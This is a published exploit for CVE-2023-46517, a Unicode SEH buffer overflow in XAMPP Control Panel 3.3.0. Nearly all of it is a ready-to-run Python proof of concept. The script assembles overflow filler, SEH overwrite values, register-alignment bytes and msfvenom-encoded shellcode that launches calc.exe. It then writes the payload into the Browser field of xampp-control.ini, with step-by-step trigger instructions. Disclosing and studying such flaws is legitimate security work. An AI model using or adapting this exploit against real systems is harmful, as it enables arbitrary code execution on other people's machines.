XAMPP 3.3.0 Buffer Overflow

`# Exploit Title: XAMPP v3.3.0 — '.ini' Buffer Overflow (Unicode + SEH)  
# Date: 2023-10-26  
# Author: Talson (@Ripp3rdoc)  
# Software Link: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/8.0.28/xampp-windows-x64-8.0.28-0-VS16-installer.exe  
# Version: 3.3.0  
# Tested on: Windows 11  
# CVE-2023-46517  
  
##########################################################  
# _________ _______ _ _______ _______ _ #  
# \__ __/( ___ )( \ ( ____ \( ___ )( ( /| #  
# ) ( | ( ) || ( | ( \/| ( ) || \ ( | #  
# | | | (___) || | | (_____ | | | || \ | | #  
# | | | ___ || | (_____ )| | | || (\ \) | #  
# | | | ( ) || | ) || | | || | \ | #  
# | | | ) ( || (____/\/\____) || (___) || ) \ | #  
# )_( |/ \|(_______/\_______)(_______)|/ )_) #  
# #  
##########################################################  
  
# Proof of Concept:  
  
# 1.- Run the python script "poc.py", it will create a new file "xampp-control.ini"  
# 2.- Open the application (xampp-control.exe)  
# 3.- Click on the "admin" button in front of Apache service.  
# 4.- Profit  
  
# Proof-of-Concept code on GitHub: https://github.com/ripp3rdoc/XAMPPv3.3.0-BOF/  
  
# Greetingz to EMU TEAM (¬‿¬)⩙  
  
from pwn import *  
import shutil  
import os.path  
  
buffer = "\x41" * 268 # 268 bytes to fill the buffer  
nseh = "\x59\x71" # next SEH address — 0x00590071 (a harmless padding)  
seh = "\x15\x43" # SEH handler — 0x00430015: pop ecx ; pop ebp ; ret ;  
padd = "\x71" * 0x55 # padding  
  
eax_align = "\x47" # venetian pad/align  
eax_align += "\x51" # push ecx  
eax_align += "\x71" # venetian pad/align  
eax_align += "\x58" # pop eax -> eax = 0019e1a0  
eax_align += "\x71" # venetian pad/align   
eax_align += "\x05\x24\x11" # add eax,0x11002300  
eax_align += "\x71" # venetian pad/align  
eax_align += "\x2d\x11\x11" # sub eax,0x11001100 -> eax = 0019F3DC  
eax_align += "\x71" # venetian pad/align  
eax_align += "\x50" # push eax   
eax_align += "\x71" # pad to align the following ret  
eax_align += "\xc3"; # ret into eax?  
  
# msfvenom -p windows/exec CMD=calc.exe -e x86/unicode_mixed -f raw EXITFUNC=thread BufferRegister=EAX -o shellcode.bin  
# Payload size: 512 bytes  
shellcode = (  
"PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1"  
"AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBkLzHrbM0ipm0c0bi7u01Ep1TBkb0nPdKR2zlrknrKdDK42Kx"  
"Jo6WpJnFLqiofLMl1QallBLlO0gQxOzmjagW7rZRObpWBkNrZpdKMzmlBkNlzq1hZC0HKQwab1dKQIKp9qiCrk"  
"myKhGslzoYtKMdTKkQJ6ma9odlgQ8OJmM1vg08iPD5yfjcSMjXOKQmnDRUhdaH4KR8mTIq7c2FDKjlpKrkaHML"  
"JaZ3dKItrkYqhPU9MtO4KtOk1KC1QI1JNqKO9P1OOoqJtKn2HkRmOmaZjatMbe7BYpm0kPR0PhmadKRODGioj57"  
"KgpmMnJZjoxDfceemCmYo9EmlivcL9zE0ikWpQe9ugKoWKcprpo2Jip23KOHUQSaQ0l33Lns5PxrEKPAA"  
)  
  
shellcode = buffer + nseh + seh + eax_align + padd + shellcode  
  
  
check_file = os.path.isfile("c:\\xampp\\xampp-control.ini")  
  
if check_file:  
  
print("[!] Backup file found. Generating the POC file...")  
pass  
else:   
# create backup  
try:  
shutil.copyfile("c:\\xampp\\xampp-control.ini", "c:\\xampp\\xampp-control.ini.bak")  
print("[+] Creating backup for xampp-control.ini...")  
print("[+] Backup file created!")  
except Exception as e:  
print("[!] Failed creating a backup for xampp-control.ini: ", e)  
  
try:  
  
# Create the new file  
with open("c:\\xampp\\xampp-control.ini", "w", encoding='utf-8') as file:  
file.write(f"""[Common]  
Edition=  
Editor=  
Browser={shellcode}  
  
Debug=0  
Debuglevel=0  
Language=en  
TomcatVisible=1  
Minimized=0  
  
[LogSettings]  
Font=Arial  
FontSize=10  
  
[WindowSettings]  
Left=-1  
Top=-1  
Width=682  
Height=441  
  
[Autostart]  
Apache=0  
MySQL=0  
FileZilla=0  
Mercury=0  
Tomcat=0  
  
[Checks]  
CheckRuntimes=1  
CheckDefaultPorts=1  
  
[ModuleNames]  
Apache=Apache  
MySQL=MySQL  
Mercury=Mercury  
Tomcat=Tomcat  
  
[EnableModules]  
Apache=1  
MySQL=1  
FileZilla=1  
Mercury=1  
Tomcat=1  
  
[EnableServices]  
Apache=1  
MySQL=1  
FileZilla=1  
Tomcat=1  
  
[BinaryNames]  
Apache=httpd.exe  
MySQL=mysqld.exe  
FileZilla=filezillaserver.exe  
FileZillaAdmin=filezilla server interface.exe  
Mercury=mercury.exe  
Tomcat=tomcat8.exe  
  
[ServiceNames]  
Apache=Apache2.4  
MySQL=mysql  
FileZilla=FileZillaServer  
Tomcat=Tomcat  
[ServicePorts]  
Apache=80  
ApacheSSL=443  
MySQL=3306  
FileZilla=21  
FileZill=14147  
Mercury1=25  
Mercury2=79  
Mercury3=105  
Mercury4=106  
Mercury5=110  
Mercury6=143  
Mercury7=2224  
TomcatHTTP=8080  
TomcatAJP=8009  
Tomcat=8005  
[UserConfigs]  
Apache=   
MySQL=  
FileZilla=  
Mercury=  
Tomcat=  
  
[UserLogs]  
Apache=  
MySQL=  
FileZilla=  
Mercury=  
Tomcat=  
""")  
print("[+] Created the POC!")  
  
except Exception as e:  
print("[!] Failed creating the POC xampp-control.ini: ", e)  
`